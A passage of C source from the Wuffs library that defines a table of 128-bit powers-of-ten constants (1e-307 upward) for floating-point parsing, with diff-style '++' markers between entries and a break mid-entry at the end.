uint64_t wuffs_private_impl__powers_of_10[596][2] = { ++ {0xA5D3B6D479F8E056, 0x8FD0C16206306BAB}, // 1e-307 ++ {0x8F48A4899877186C, 0xB3C4F1BA87BC8696}, // 1e-306 ++ {0x331ACDABFE94DE87, 0xE0B62E2929ABA83C}, // 1e-305 ++ {0x9FF0C08B7F1D0B14, 0x8C71DCD9BA0B4925}, // 1e-304 ++ {0x07ECF0AE5EE44DD9, 0xAF8E5410288E1B6F}, // 1e-303 ++ {0xC9E82CD9F69D6150, 0xDB71E91432B1A24A}, // 1e-302 ++ {0xBE311C083A225CD2, 0x892731AC9FAF056E}, // 1e-301 ++ {0x6DBD630A48AAF406, 0xAB70FE17C79AC6CA}, // 1e-300 ++ {0x092CBBCCDAD5B108, 0xD64D3D9DB981787D}, // 1e-299 ++ {0x25BBF56008C58EA5, 0x85F0468293F0EB4E}, // 1e-298 ++ {0xAF2AF2B80AF6F24E, 0xA76C582338ED2621}, // 1e-297 ++ {0x1AF5AF660DB4AEE1, 0xD1476E2C07286FAA}, // 1e-296 ++ {0x50D98D9FC890ED4D, 0x82CCA4DB847945CA}, // 1e-295 ++ {0xE50FF107BAB528A0, 0xA37FCE126597973C}, // 1e-294 ++ {0x1E53ED49A96272C8, 0xCC5FC196FEFD7D0C}, // 1e-293 ++ {0x25E8E89C13BB0F7A, 0xFF77B1FCBEBCDC4F}, // 1e-292 ++ {0x77B191618C54E9AC, 0x9FAACF3DF73609B1}, // 1e-291 ++ {0xD59DF5B9EF6A2417, 0xC795830D75038C1D}, // 1e-290 ++ {0x4B0573286B44AD1D, 0xF97AE3D0D2446F25}, // 1e-289 ++ {0x4EE367F9430AEC32, 0x9BECCE62836AC577}, // 1e-288 ++ {0x229C41F793CDA73F, 0xC2E801FB244576D5}, // 1e-287 ++ {0x6B43527578C1110F, 0xF3A20279ED56D48A}, // 1e-286 ++ {0x830A13896B78AAA9, 0x9845418C345644D6}, // 1e-285 ++ {0x23CC986BC656D553, 0xBE5691EF416BD60C}, // 1e-284 ++ {0x2CBFBE86B7EC8AA8, 0xEDEC366B11C6CB8F}, // 1e-283 ++ {0x7BF7D71432F3D6A9, 0x94B3A202EB1C3F39}, // 1e-282 ++ {0xDAF5CCD93FB0CC53, 0xB9E08A83A5E34F07}, // 1e-281 ++ {0xD1B3400F8F9CFF68, 0xE858AD248F5C22C9}, // 1e-280 ++ {0x23100809B9C21FA1, 0x91376C36D99995BE}, // 1e-279 ++ {0xABD40A0C2832A78A, 0xB58547448FFFFB2D}, // 1e-278 ++ {0x16C90C8F323F516C, 0xE2E69915B3FFF9F9}, // 1e-277 ++ {0xAE3DA7D97F6792E3, 0x8DD01FAD907FFC3B}, // 1e-276 ++ {0x99CD11CFDF41779C, 0xB1442798F49FFB4A}, // 1e-275 ++ {0x40405643D711D583, 0xDD95317F31C7FA1D}, // 1e-274 ++ {0x482835EA666B2572, 0x8A7D3EEF7F1CFC52}, // 1e-273 ++ {0xDA3243650005EECF, 0xAD1C8EAB5EE43B66}, // 1e-272 ++ {0x90BED43E40076A82, 0xD863B256369D4A40}, // 1e-271 ++ {0x5A7744A6E804A291, 0x873E4F75E2224E68}, // 1e-270 ++ {0x711515D0A205CB36, 0xA90DE3535AAAE202}, // 1e-269 ++ {0x0D5A5B44CA873E03, 0xD3515C2831559A83}, // 1e-268 ++ {0xE858790AFE9486C2, 0x8412D9991ED58091}, // 1e-267 ++ {0x626E974DBE39A872, 0xA5178FFF668AE0B6}, // 1e-266 ++ {0xFB0A3D212DC8128F, 0xCE5D73FF402D98E3}, // 1e-265 ++ {0x7CE66634BC9D0B99, 0x80FA687F881C7F8E}, // 1e-264 ++ {0x1C1FFFC1EBC44E80, 0xA139029F6A239F72}, // 1e-263 ++ {0xA327FFB266B56220, 0xC987434744AC874E}, // 1e-262 ++ {0x4BF1FF9F0062BAA8, 0xFBE9141915D7A922}, // 1e-261 ++ {0x6F773FC3603DB4A9, 0x9D71AC8FADA6C9B5}, // 1e-260 ++ {0xCB550FB4384D21D3, 0xC4CE17B399107C22}, // 1e-259 ++ {0x7E2A53A146606A48, 0xF6019DA07F549B2B}, // 1e-258 ++ {0x2EDA7444CBFC426D, 0x99C102844F94E0FB}, // 1e-257 ++ {0xFA911155FEFB5308, 0xC0314325637A1939}, // 1e-256 ++ {0x793555AB7EBA27CA, 0xF03D93EEBC589F88}, // 1e-255 ++ {0x4BC1558B2F3458DE, 0x96267C7535B763B5}, // 1e-254 ++ {0x9EB1AAEDFB016F16, 0xBBB01B9283253CA2}, // 1e-253 ++ {0x465E15A979C1CADC, 0xEA9C227723EE8BCB}, // 1e-252 ++ {0x0BFACD89EC191EC9, 0x92A1958A7675175F}, // 1e-251 ++ {0xCEF980EC671F667B, 0xB749FAED14125D36}, // 1e-250 ++ {0x82B7E12780E7401A, 0xE51C79A85916F484}, // 1e-249 ++ {0xD1B2ECB8B0908810, 0x8F31CC0937AE58D2}, // 1e-248 ++ {0x861FA7E6DCB4AA15, 0xB2FE3F0B8599EF07}, // 1e-247 ++ {0x67A791E093E1D49A, 0xDFBDCECE67006AC9}, // 1e-246 ++ {0xE0C8BB2C5C6D24E0, 0x8BD6A141006042BD}, // 1e-245 ++ {0x58FAE9F773886E18, 0xAECC49914078536D}, // 1e-244 ++ {0xAF39A475506A899E, 0xDA7F5BF590966848}, // 1e-243 ++ {0x6D8406C952429603, 0x888F99797A5E012D}, // 1e-242 ++ {0xC8E5087BA6D33B83, 0xAAB37FD7D8F58178}, // 1e-241 ++ {0xFB1E4A9A90880A64, 0xD5605FCDCF32E1D6}, // 1e-240 ++ {0x5CF2EEA09A55067F, 0x855C3BE0A17FCD26}, // 1e-239 ++ {0xF42FAA48C0EA481E, 0xA6B34AD8C9DFC06F}, // 1e-238 ++ {0xF13B94DAF124DA26, 0xD0601D8EFC57B08B}, // 1e-237 ++ {0x76C53D08D6B70858, 0x823C12795DB6CE57}, // 1e-236 ++ {0x54768C4B0C64CA6E, 0xA2CB1717B52481ED}, // 1e-235 ++ {0xA9942F5DCF7DFD09, 0xCB7DDCDDA26DA268}, // 1e-234 ++ {0xD3F93B35435D7C4C, 0xFE5D54150B090B02}, // 1e-233 ++ {0xC47BC5014A1A6DAF, 0x9EFA548D26E5A6E1}, // 1e-232 ++ {0x359AB6419CA1091B, 0xC6B8E9B0709F109A}, // 1e-231 ++ {0xC30163D203C94B62, 0xF867241C8CC6D4C0}, // 1e-230 ++ {0x79E0DE63425DCF1D, 0x9B407691D7FC44F8}, // 1e-229 ++ {0x985915FC12F542E4, 0xC21094364DFB5636}, // 1e-228 ++ {0x3E6F5B7B17B2939D, 0xF294B943E17A2BC4}, // 1e-227 ++ {0xA705992CEECF9C42, 0x979CF3CA6CEC5B5A}, // 1e-226 ++ {0x50C6FF782A838353, 0xBD8430BD08277231}, // 1e-225 ++ {0xA4F8BF5635246428, 0xECE53CEC4A314EBD}, // 1e-224 ++ {0x871B7795E136BE99, 0x940F4613AE5ED136}, // 1e-223 ++ {0x28E2557B59846E3F, 0xB913179899F68584}, // 1e-222 ++ {0x331AEADA2FE589CF, 0xE757DD7EC07426E5}, // 1e-221 ++ {0x3FF0D2C85DEF7621, 0x9096EA6F3848984F}, // 1e-220 ++ {0x0FED077A756B53A9, 0xB4BCA50B065ABE63}, // 1e-219 ++ {0xD3E8495912C62894, 0xE1EBCE4DC7F16DFB}, // 1e-218 ++ {0x64712DD7ABBBD95C, 0x8D3360F09CF6E4BD}, // 1e-217 ++ {0xBD8D794D96AACFB3, 0xB080392CC4349DEC}, // 1e-216 ++ {0xECF0D7A0FC5583A0, 0xDCA04777F541C567}, // 1e-215 ++ {0xF41686C49DB57244, 0x89E42CAAF9491B60}, // 1e-214 ++ {0x311C2875C522CED5, 0xAC5D37D5B79B6239}, // 1e-213 ++ {0x7D633293366B828B, 0xD77485CB25823AC7}, // 1e-212 ++ {0xAE5DFF9C02033197, 0x86A8D39EF77164BC}, // 1e-211 ++ {0xD9F57F830283FDFC, 0xA8530886B54DBDEB}, // 1e-210 ++ {0xD072DF63C324FD7B, 0xD267CAA862A12D66}, // 1e-209 ++ {0x4247CB9E59F71E6D, 0x8380DEA93DA4BC60}, // 1e-208 ++ {0x52D9BE85F074E608, 0xA46116538D0DEB78}, // 1e-207 ++ {0x67902E276C921F8B, 0xCD795BE870516656}, // 1e-206 ++ {0x00BA1CD8A3DB53B6, 0x806BD9714632DFF6}, // 1e-205 ++ {0x80E8A40ECCD228A4, 0xA086CFCD97BF97F3}, // 1e-204 ++ {0x6122CD128006B2CD, 0xC8A883C0FDAF7DF0}, // 1e-203 ++ {0x796B805720085F81, 0xFAD2A4B13D1B5D6C}, // 1e-202 ++ {0xCBE3303674053BB0, 0x9CC3A6EEC6311A63}, // 1e-201 ++ {0xBEDBFC4411068A9C, 0xC3F490AA77BD60FC}, // 1e-200 ++ {0xEE92FB5515482D44, 0xF4F1B4D515ACB93B}, // 1e-199 ++ {0x751BDD152D4D1C4A, 0x991711052D8BF3C5}, // 1e-198 ++ {0xD262D45A78A0635D, 0xBF5CD54678EEF0B6}, // 1e-197 ++ {0x86FB897116C87C34, 0xEF340A98172AACE4}, // 1e-196 ++ {0xD45D35E6AE3D4DA0, 0x9580869F0E7AAC0E}, // 1e-195 ++ {0x8974836059CCA109, 0xBAE0A846D2195712}, // 1e-194 ++ {0x2BD1A438703FC94B, 0xE998D258869FACD7}, // 1e-193 ++ {0x7B6306A34627DDCF, 0x91FF83775423CC06}, // 1e-192 ++ {0x1A3BC84C17B1D542, 0xB67F6455292CBF08}, // 1e-191 ++ {0x20CABA5F1D9E4A93, 0xE41F3D6A7377EECA}, // 1e-190 ++ {0x547EB47B7282EE9C, 0x8E938662882AF53E}, // 1e-189 ++ {0xE99E619A4F23AA43, 0xB23867FB2A35B28D}, // 1e-188 ++ {0x6405FA00E2EC94D4, 0xDEC681F9F4C31F31}, // 1e-187 ++ {0xDE83BC408DD3DD04, 0x8B3C113C38F9F37E}, // 1e-186 ++ {0x9624AB50B148D445, 0xAE0B158B4738705E}, // 1e-185 ++ {0x3BADD624DD9B0957, 0xD98DDAEE19068C76}, // 1e-184 ++ {0xE54CA5D70A80E5D6, 0x87F8A8D4CFA417C9}, // 1e-183 ++ {0x5E9FCF4CCD211F4C, 0xA9F6D30A038D1DBC}, // 1e-182 ++ {0x7647C3200069671F, 0xD47487CC8470652B}, // 1e-181 ++ {0x29ECD9F40041E073, 0x84C8D4DFD2C63F3B}, // 1e-180 ++ {0xF468107100525890, 0xA5FB0A17C777CF09}, // 1e-179 ++ {0x7182148D4066EEB4, 0xCF79CC9DB955C2CC}, // 1e-178 ++ {0xC6F14CD848405530, 0x81AC1FE293D599BF}, // 1e-177 ++ {0xB8ADA00E5A506A7C, 0xA21727DB38CB002F}, // 1e-176 ++ {0xA6D90811F0E4851C, 0xCA9CF1D206FDC03B}, // 1e-175 ++ {0x908F4A166D1DA663, 0xFD442E4688BD304A}, // 1e-174 ++ {0x9A598E4E043287FE, 0x9E4A9CEC15763E2E}, // 1e-173 ++ {0x40EFF1E1853F29FD, 0xC5DD44271AD3CDBA}, // 1e-172 ++ {0xD12BEE59E68EF47C, 0xF7549530E188C128}, // 1e-171 ++ {0x82BB74F8301958CE, 0x9A94DD3E8CF578B9}, // 1e-170 ++ {0xE36A52363C1FAF01, 0xC13A148E3032D6E7}, // 1e-169 ++ {0xDC44E6C3CB279AC1, 0xF18899B1BC3F8CA1}, // 1e-168 ++ {0x29AB103A5EF8C0B9, 0x96F5600F15A7B7E5}, // 1e-167 ++ {0x7415D448F6B6F0E7, 0xBCB2B812DB11A5DE}, // 1e-166 ++ {0x111B495B3464AD21, 0xEBDF661791D60F56}, // 1e-165 ++ {0xCAB10DD900BEEC34, 0x936B9FCEBB25C995}, // 1e-164 ++ {0x3D5D514F40EEA742, 0xB84687C269EF3BFB}, // 1e-163 ++ {0x0CB4A5A3112A5112, 0xE65829B3046B0AFA}, // 1e-162 ++ {0x47F0E785EABA72AB, 0x8FF71A0FE2C2E6DC}, // 1e-161 ++ {0x59ED216765690F56, 0xB3F4E093DB73A093}, // 1e-160 ++ {0x306869C13EC3532C, 0xE0F218B8D25088B8}, // 1e-159 ++ {0x1E414218C73A13FB, 0x8C974F7383725573}, // 1e-158 ++ {0xE5D1929EF90898FA, 0xAFBD2350644EEACF}, // 1e-157 ++ {0xDF45F746B74ABF39, 0xDBAC6C247D62A583}, // 1e-156 ++ {0x6B8BBA8C328EB783, 0x894BC396CE5DA772}, // 1e-155 ++ {0x066EA92F3F326564, 0xAB9EB47C81F5114F}, // 1e-154 ++ {0xC80A537B0EFEFEBD, 0xD686619BA27255A2}, // 1e-153 ++ {0xBD06742CE95F5F36, 0x8613FD0145877585}, // 1e-152 ++ {0x2C48113823B73704, 0xA798FC4196E952E7}, // 1e-151 ++ {0xF75A15862CA504C5, 0xD17F3B51FCA3A7A0}, // 1e-150 ++ {0x9A984D73DBE722FB, 0x82EF85133DE648C4}, // 1e-149 ++ {0xC13E60D0D2E0EBBA, 0xA3AB66580D5FDAF5}, // 1e-148 ++ {0x318DF905079926A8, 0xCC963FEE10B7D1B3}, // 1e-147 ++ {0xFDF17746497F7052, 0xFFBBCFE994E5C61F}, // 1e-146 ++ {0xFEB6EA8BEDEFA633, 0x9FD561F1FD0F9BD3}, // 1e-145 ++ {0xFE64A52EE96B8FC0, 0xC7CABA6E7C5382C8}, // 1e-144 ++ {0x3DFDCE7AA3C673B0, 0xF9BD690A1B68637B}, // 1e-143 ++ {0x06BEA10CA65C084E, 0x9C1661A651213E2D}, // 1e-142 ++ {0x486E494FCFF30A62, 0xC31BFA0FE5698DB8}, // 1e-141 ++ {0x5A89DBA3C3EFCCFA, 0xF3E2F893DEC3F126}, // 1e-140 ++ {0xF89629465A75E01C, 0x986DDB5C6B3A76B7}, // 1e-139 ++ {0xF6BBB397F1135823, 0xBE89523386091465}, // 1e-138 ++ {0x746AA07DED582E2C, 0xEE2BA6C0678B597F}, // 1e-137 ++ {0xA8C2A44EB4571CDC, 0x94DB483840B717EF}, // 1e-136 ++ {0x92F34D62616CE413, 0xBA121A4650E4DDEB}, // 1e-135 ++ {0x77B020BAF9C81D17, 0xE896A0D7E51E1566}, // 1e-134 ++ {0x0ACE1474DC1D122E, 0x915E2486EF32CD60}, // 1e-133 ++ {0x0D819992132456BA, 0xB5B5ADA8AAFF80B8}, // 1e-132 ++ {0x10E1FFF697ED6C69, 0xE3231912D5BF60E6}, // 1e-131 ++ {0xCA8D3FFA1EF463C1, 0x8DF5EFABC5979C8F}, // 1e-130 ++ {0xBD308FF8A6B17CB2, 0xB1736B96B6FD83B3}, // 1e-129 ++ {0xAC7CB3F6D05DDBDE, 0xDDD0467C64BCE4A0}, // 1e-128 ++ {0x6BCDF07A423AA96B, 0x8AA22C0DBEF60EE4}, // 1e-127 ++ {0x86C16C98D2C953C6, 0xAD4AB7112EB3929D}, // 1e-126 ++ {0xE871C7BF077BA8B7, 0xD89D64D57A607744}, // 1e-125 ++ {0x11471CD764AD4972, 0x87625F056C7C4A8B}, // 1e-124 ++ {0xD598E40D3DD89BCF, 0xA93AF6C6C79B5D2D}, // 1e-123 ++ {0x4AFF1D108D4EC2C3, 0xD389B47879823479}, // 1e-122 ++ {0xCEDF722A585139BA, 0x843610CB4BF160CB}, // 1e-121 ++ {0xC2974EB4EE658828, 0xA54394FE1EEDB8FE}, // 1e-120 ++ {0x733D226229FEEA32, 0xCE947A3DA6A9273E}, // 1e-119 ++ {0x0806357D5A3F525F, 0x811CCC668829B887}, // 1e-118 ++ {0xCA07C2DCB0CF26F7, 0xA163FF802A3426A8}, // 1e-117 ++ {0xFC89B393DD02F0B5, 0xC9BCFF6034C13052}, // 1e-116 ++ {0xBBAC2078D443ACE2, 0xFC2C3F3841F17C67}, // 1e-115 ++ {0xD54B944B84AA4C0D, 0x9D9BA7832936EDC0}, // 1e-114 ++ {0x0A9E795E65D4DF11, 0xC5029163F384A931}, // 1e-113 ++ {0x4D4617B5FF4A16D5, 0xF64335BCF065D37D}, // 1e-112 ++ {0x504BCED1BF8E4E45, 0x99EA0196163FA42E}, // 1e-111 ++ {0xE45EC2862F71E1D6, 0xC06481FB9BCF8D39}, // 1e-110 ++ {0x5D767327BB4E5A4C, 0xF07DA27A82C37088}, // 1e-109 ++ {0x3A6A07F8D510F86F, 0x964E858C91BA2655}, // 1e-108 ++ {0x890489F70A55368B, 0xBBE226EFB628AFEA}, // 1e-107 ++ {0x2B45AC74CCEA842E, 0xEADAB0ABA3B2DBE5}, // 1e-106 ++ {0x3B0B8BC90012929D, 0x92C8AE6B464FC96F}, // 1e-105 ++ {0x09CE6EBB40173744, 0xB77ADA0617E3BBCB}, // 1e-104 ++ {0xCC420A6A101D0515, 0xE55990879DDCAABD}, // 1e-103 ++ {0x9FA946824A12232D, 0x8F57FA54C2A9EAB6}, // 1e-102 ++ {0x47939822DC96ABF9, 0xB32DF8E9F3546564}, // 1e-101 ++ {0x59787E2B93BC56F7, 0xDFF9772470297EBD}, // 1e-100 ++ {0x57EB4EDB3C55B65A, 0x8BFBEA76C619EF36}, // 1e-99 ++ {0xEDE622920B6B23F1, 0xAEFAE51477A06B03}, // 1e-98 ++ {0xE95FAB368E45ECED, 0xDAB99E59958885C4}, // 1e-97 ++ {0x11DBCB0218EBB414, 0x88B402F7FD75539B}, // 1e-96 ++ {0xD652BDC29F26A119, 0xAAE103B5FCD2A881}, // 1e-95 ++ {0x4BE76D3346F0495F, 0xD59944A37C0752A2}, // 1e-94 ++ {0x6F70A4400C562DDB, 0x857FCAE62D8493A5}, // 1e-93 ++ {0xCB4CCD500F6BB952, 0xA6DFBD9FB8E5B88E}, // 1e-92 ++ {0x7E2000A41346A7A7, 0xD097AD07A71F26B2}, // 1e-91 ++ {0x8ED400668C0C28C8, 0x825ECC24C873782F}, // 1e-90 ++ {0x728900802F0F32FA, 0xA2F67F2DFA90563B}, // 1e-89 ++ {0x4F2B40A03AD2FFB9, 0xCBB41EF979346BCA}, // 1e-88 ++ {0xE2F610C84987BFA8, 0xFEA126B7D78186BC}, // 1e-87 ++ {0x0DD9CA7D2DF4D7C9, 0x9F24B832E6B0F436}, // 1e-86 ++ {0x91503D1C79720DBB, 0xC6EDE63FA05D3143}, // 1e-85 ++ {0x75A44C6397CE912A, 0xF8A95FCF88747D94}, // 1e-84 ++ {0xC986AFBE3EE11ABA, 0x9B69DBE1B548CE7C}, // 1e-83 ++ {0xFBE85BADCE996168, 0xC24452DA229B021B}, // 1e-82 ++ {0xFAE27299423FB9C3, 0xF2D56790AB41C2A2}, // 1e-81 ++ {0xDCCD879FC967D41A, 0x97C560BA6B0919A5}, // 1e-80 ++ {0x5400E987BBC1C920, 0xBDB6B8E905CB600F}, // 1e-79 ++ {0x290123E9AAB23B68, 0xED246723473E3813}, // 1e-78 ++ {0xF9A0B6720AAF6521, 0x9436C0760C86E30B}, // 1e-77 ++ {0xF808E40E8D5B3E69, 0xB94470938FA89BCE}, // 1e-76 ++ {0xB60B1D1230B20E04, 0xE7958CB87392C2C2}, // 1e-75 ++ {0xB1C6F22B5E6F48C2, 0x90BD77F3483BB9B9}, // 1e-74 ++ {0x1E38AEB6360B1AF3, 0xB4ECD5F01A4AA828}, // 1e-73 ++ {0x25C6DA63C38DE1B0, 0xE2280B6C20DD5232}, // 1e-72 ++ {0x579C487E5A38AD0E, 0x8D590723948A535F}, // 1e-71 ++ {0x2D835A9DF0C6D851, 0xB0AF48EC79ACE837}, // 1e-70 ++ {0xF8E431456CF88E65, 0xDCDB1B2798182244}, // 1e-69 ++ {0x1B8E9ECB641B58FF, 0x8A08F0F8BF0F156B}, // 1e-68 ++ {0xE272467E3D222F3F, 0xAC8B2D36EED2DAC5}, // 1e-67 ++ {0x5B0ED81DCC6ABB0F, 0xD7ADF884AA879177}, // 1e-66 ++ {0x98E947129FC2B4E9, 0x86CCBB52EA94BAEA}, // 1e-65 ++ {0x3F2398D747B36224, 0xA87FEA27A539E9A5}, // 1e-64 ++ {0x8EEC7F0D19A03AAD, 0xD29FE4B18E88640E}, // 1e-63 ++ {0x1953CF68300424AC, 0x83A3EEEEF9153E89}, // 1e-62 ++ {0x5FA8C3423C052DD7, 0xA48CEAAAB75A8E2B}, // 1e-61 ++ {0x3792F412CB06794D, 0xCDB02555653131B6}, // 1e-60 ++ {0xE2BBD88BBEE40BD0, 0x808E17555F3EBF11}, // 1e-59 ++ {0x5B6ACEAEAE9D0EC4, 0xA0B19D2AB70E6ED6}, // 1e-58 ++ {0xF245825A5A445275, 0xC8DE047564D20A8B}, // 1e-57 ++ {0xEED6E2F0F0D56712, 0xFB158592BE068D2E}, // 1e-56 ++ {0x55464DD69685606B, 0x9CED737BB6C4183D}, // 1e-55 ++ {0xAA97E14C3C26B886, 0xC428D05AA4751E4C}, // 1e-54 ++ {0xD53DD99F4B3066A8, 0xF53304714D9265DF}, // 1e-53 ++ {0xE546A8038EFE4029, 0x993FE2C6D07B7FAB}, // 1e-52 ++ {0xDE98520472BDD033, 0xBF8FDB78849A5F96}, // 1e-51 ++ {0x963E66858F6D4440, 0xEF73D256A5C0F77C}, // 1e-50 ++ {0xDDE7001379A44AA8, 0x95A8637627989AAD}, // 1e-49 ++ {0x5560C018580D5D52, 0xBB127C53B17EC159}, // 1e-48 ++ {0xAAB8F01E6E10B4A6, 0xE9D71B689DDE71AF}, // 1e-47 ++ {0xCAB3961304CA70E8, 0x9226712162AB070D}, // 1e-46 ++ {0x3D607B97C5FD0D22, 0xB6B00D69BB55C8D1}, // 1e-45 ++ {0x8CB89A7DB77C506A, 0xE45C10C42A2B3B05}, // 1e-44 ++ {0x77F3608E92ADB242, 0x8EB98A7A9A5B04E3}, // 1e-43 ++ {0x55F038B237591ED3, 0xB267ED1940F1C61C}, // 1e-42 ++ {0x6B6C46DEC52F6688, 0xDF01E85F912E37A3}, // 1e-41 ++ {0x2323AC4B3B3DA015, 0x8B61313BBABCE2C6}, // 1e-40 ++ {0xABEC975E0A0D081A, 0xAE397D8AA96C1B77}, // 1e-39 ++ {0x96E7BD358C904A21, 0xD9C7DCED53C72255}, // 1e-38 ++ {0x7E50D64177DA2E54, 0x881CEA14545C7575}, // 1e-37 ++ {0xDDE50BD1D5D0B9E9, 0xAA242499697392D2}, // 1e-36 ++ {0x955E4EC64B44E864, 0xD4AD2DBFC3D07787}, // 1e-35 ++ {0xBD5AF13BEF0B113E, 0x84EC3C97DA624AB4}, // 1e-34 ++ {0xECB1AD8AEACDD58E, 0xA6274BBDD0FADD61}, // 1e-33 ++ {0x67DE18EDA5814AF2, 0xCFB11EAD453994BA}, // 1e-32 ++ {0x80EACF948770CED7, 0x81CEB32C4B43FCF4}, // 1e-31 ++ {0xA1258379A94D028D, 0xA2425FF75E14FC31}, // 1e-30 ++ {0x096EE45813A04330, 0xCAD2F7F5359A3B3E}, // 1e-29 ++ {0x8BCA9D6E188853FC, 0xFD87B5F28300CA0D}, // 1e-28 ++ {0x775EA264CF55347D, 0x9E74D1B791E07E48}, // 1e-27 ++ {0x95364AFE032A819D, 0xC612062576589DDA}, // 1e-26 ++ {0x3A83DDBD83F52204, 0xF79687AED3EEC551}, // 1e-25 ++ {0xC4926A9672793542, 0x9ABE14CD44753B52}, // 1e-24 ++ {0x75B7053C0F178293, 0xC16D9A0095928A27}, // 1e-23 ++ {0x5324C68B12DD6338, 0xF1C90080BAF72CB1}, // 1e-22 ++ {0xD3F6FC16EBCA5E03, 0x971DA05074DA7BEE}, // 1e-21 ++ {0x88F4BB1CA6BCF584, 0xBCE5086492111AEA}, // 1e-20 ++ {0x2B31E9E3D06C32E5, 0xEC1E4A7DB69561A5}, // 1e-19 ++ {0x3AFF322E62439FCF, 0x9392EE8E921D5D07}, // 1e-18 ++ {0x09BEFEB9FAD487C2, 0xB877AA3236A4B449}, // 1e-17 ++ {0x4C2EBE687989A9B3, 0xE69594BEC44DE15B}, // 1e-16 ++ {0x0F9D37014BF60A10, 0x901D7CF73AB0ACD9}, // 1e-15 ++ {0x538484C19EF38C94, 0xB424DC35095CD80F}, // 1e-14 ++ {0x2865A5F206B06FB9, 0xE12E13424BB40E13}, // 1e-13 ++ {0xF93F87B7442E45D3, 0x8CBCCC096F5088CB}, // 1e-12 ++ {0xF78F69A51539D748, 0xAFEBFF0BCB24AAFE}, // 1e-11 ++ {0xB573440E5A884D1B, 0xDBE6FECEBDEDD5BE}, // 1e-10 ++ {0x31680A88F8953030, 0x89705F4136B4A597}, // 1e-9 ++ {0xFDC20D2B36BA7C3D, 0xABCC77118461CEFC}, // 1e-8 ++ {0x3D32907604691B4C, 0xD6BF94D5E57A42BC}, // 1e-7 ++ {0xA63F9A49C2C1B10F, 0x8637BD05AF6C69B5}, // 1e-6 ++ {0x0FCF80DC33721D53, 0xA7C5AC471B478423}, // 1e-5 ++ {0xD3C36113404EA4A8, 0xD1B71758E219652B}, // 1e-4 ++ {0x645A1CAC083126E9, 0x83126E978D4FDF3B}, // 1e-3 ++ {0x3D70A3D70A3D70A3, 0xA3D70A3D70A3D70A}, // 1e-2 ++ {0xCCCCCCCCCCCCCCCC, 0xCCCCCCCCCCCCCCCC}, // 1e-1 ++ {0x0000000000000000, 0x8000000000000000}, // 1e0 ++ {0x0000000000000000, 0xA000000000000000}, // 1e1 ++ {0x0000000000000000, 0xC800000000000000}, // 1e2 ++ {0x0000000000000000, 0xFA00000000000000}, // 1e3 ++ {0x0000000000000000, 0x9C40000000000000}, // 1e4 ++ {0x0000000000000000, 0xC350000000000000}, // 1e5 ++ {0x0000000000000000, 0xF424000000000000}, // 1e6 ++ {0x0000000000000000, 0x9896800000000000}, // 1e7 ++ {0x0000000000000000, 0xBEBC200000000000}, // 1e8 ++ {0x0000000000000000, 0xEE6B280000000000}, // 1e9 ++ {0x0000000000000000, 0x9502F90000000000}, // 1e10 ++ {0x0000000000000000, 0xBA43B74000000000}, // 1e11 ++ {0x0000000000000000, 0xE8D4A51000000000}, // 1e12 ++ {0x0000000000000000, 0x9184E72A00000000}, // 1e13 ++ {0x0000000000000000, 0xB5E620F480000000}, // 1e14 ++ {0x0000000000000000, 0xE35FA931A0000000}, // 1e15 ++ {0x0000000000000000, 0x8E1BC9BF04000000}, // 1e16 ++ {0x0000000000000000, 0xB1A2BC2EC5000000}, // 1e17 ++ {0x0000000000000000, 0xDE0B6B3A76400000}, // 1e18 ++ {0x0000000000000000, 0x8AC7230489E80000}, // 1e19 ++ {0x0000000000000000, 0xAD78EBC5AC620000}, // 1e20 ++ {0x0000000000000000, 0xD8D726B7177A8000}, // 1e21 ++ {0x0000000000000000, 0x878678326EAC9000}, // 1e22 ++ {0x0000000000000000, 0xA968163F0A57B400}, // 1e23 ++ {0x0000000000000000, 0xD3C21BCECCEDA100}, // 1e24 ++ {0x0000000000000000, 0x84595161401484A0}, // 1e25 ++ {0x0000000000000000, 0xA56FA5B99019A5C8}, // 1e26 ++ {0x0000000000000000, 0xCECB8F27F4200F3A}, // 1e27 ++ {0x4000000000000000, 0x813F3978F8940984}, // 1e28 ++ {0x5000000000000000, 0xA18F07D736B90BE5}, // 1e29 ++ {0xA400000000000000, 0xC9F2C9CD04674EDE}, // 1e30 ++ {0x4D00000000000000, 0xFC6F7C4045812296}, // 1e31 ++ {0xF020000000000000, 0x9DC5ADA82B70B59D}, // 1e32 ++ {0x6C28000000000000, 0xC5371912364CE305}, // 1e33 ++ {0xC732000000000000, 0xF684DF56C3E01BC6}, // 1e34 ++ {0x3C7F400000000000, 0x9A130B963A6C115C}, // 1e35 ++ {0x4B9F100000000000, 0xC097CE7BC90715B3}, // 1e36 ++ {0x1E86D40000000000, 0xF0BDC21ABB48DB20}, // 1e37 ++ {0x1314448000000000, 0x96769950B50D88F4}, // 1e38 ++ {0x17D955A000000000, 0xBC143FA4E250EB31}, // 1e39 ++ {0x5DCFAB0800000000, 0xEB194F8E1AE525FD}, // 1e40 ++ {0x5AA1CAE500000000, 0x92EFD1B8D0CF37BE}, // 1e41 ++ {0xF14A3D9E40000000, 0xB7ABC627050305AD}, // 1e42 ++ {0x6D9CCD05D0000000, 0xE596B7B0C643C719}, // 1e43 ++ {0xE4820023A2000000, 0x8F7E32CE7BEA5C6F}, // 1e44 ++ {0xDDA2802C8A800000, 0xB35DBF821AE4F38B}, // 1e45 ++ {0xD50B2037AD200000, 0xE0352F62A19E306E}, // 1e46 ++ {0x4526F422CC340000, 0x8C213D9DA502DE45}, // 1e47 ++ {0x9670B12B7F410000, 0xAF298D050E4395D6}, // 1e48 ++ {0x3C0CDD765F114000, 0xDAF3F04651D47B4C}, // 1e49 ++ {0xA5880A69FB6AC800, 0x88D8762BF324CD0F}, // 1e50 ++ {0x8EEA0D047A457A00, 0xAB0E93B6EFEE0053}, // 1e51 ++ {0x72A4904598D6D880, 0xD5D238A4ABE98068}, // 1e52 ++ {0x47A6DA2B7F864750, 0x85A36366EB71F041}, // 1e53 ++ {0x999090B65F67D924, 0xA70C3C40A64E6C51}, // 1e54 ++ {0xFFF4B4E3F741CF6D, 0xD0CF4B50CFE20765}, // 1e55 ++ {0xBFF8F10E7A8921A4, 0x82818F1281ED449F}, // 1e56 ++ {0xAFF72D52192B6A0D, 0xA321F2D7226895C7}, // 1e57 ++ {0x9BF4F8A69F764490, 0xCBEA6F8CEB02BB39}, // 1e58 ++ {0x02F236D04753D5B4, 0xFEE50B7025C36A08}, // 1e59 ++ {0x01D762422C946590, 0x9F4F2726179A2245}, // 1e60 ++ {0x424D3AD2B7B97EF5, 0xC722F0EF9D80AAD6}, // 1e61 ++ {0xD2E0898765A7DEB2, 0xF8EBAD2B84E0D58B}, // 1e62 ++ {0x63CC55F49F88EB2F, 